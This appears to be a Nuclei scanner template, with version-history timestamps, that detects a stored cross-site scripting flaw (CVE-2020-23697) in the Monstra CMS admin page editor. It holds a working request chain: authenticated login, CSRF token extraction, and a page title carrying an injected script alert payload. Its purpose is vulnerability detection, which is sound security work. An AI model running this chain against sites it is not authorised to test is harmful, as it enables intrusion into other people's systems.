nuclei-templates/http/cves/2020/CVE-2020-23697.yaml

71 lines
2.3 KiB
YAML
Raw Normal View History

2023-01-10 05:49:47 +00:00
id: CVE-2020-23697
info:
name: Monstra CMS 3.0.4 - Cross-Site Scripting
2023-01-10 05:49:47 +00:00
author: ritikchaddha
severity: medium
description: |
Monstra CMS 3.0.4 contains a cross-site scripting vulnerability via the page feature in admin/index.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
2023-01-10 05:49:47 +00:00
reference:
- https://github.com/monstra-cms/monstra/issues/463
- https://nvd.nist.gov/vuln/detail/CVE-2020-23697
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
2023-01-10 05:49:47 +00:00
cve-id: CVE-2020-23697
cwe-id: CWE-79
cpe: cpe:2.3:a:monstra:monstra_cms:*:*:*:*:*:*:*:*
epss-score: 0.0009
2023-01-10 05:49:47 +00:00
metadata:
max-request: 4
2023-06-04 08:13:42 +00:00
verified: true
2023-01-10 05:49:47 +00:00
tags: cve,cve2020,xss,mostra,mostracms,cms,authenticated
variables:
string: "{{to_lower('{{randstr}}')}}"
http:
2023-01-10 05:49:47 +00:00
- raw:
- |
POST /admin/index.php?id=dashboard HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
login={{username}}&password={{password}}&login_submit=Log+In
- |
GET /admin/index.php?id=pages&action=add_page HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
- |
POST /admin/index.php?id=pages&action=add_page HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
csrf={{csrf}}&page_title=%22%27%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&page_name={{string}}&page_meta_title=&page_keywords=&page_description=&pages=0&templates=index&status=published&access=public&editor=test&page_tags=&add_page_and_exit=Save+and+Exit&page_date=2023-01-09+18%3A22%3A15
- |
GET /{{string}} HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:
- 'contains(all_headers_4, "text/html")'
- 'status_code_4 == 200'
- 'contains(body_4, "><script>alert(document.domain)</script>") && contains(body_4, "Monstra")'
condition: and
extractors:
- type: regex
name: csrf
part: body
group: 1
regex:
- 'id="csrf" name="csrf" value="(.*)">'
internal: true
# Enhanced by md on 2023/02/01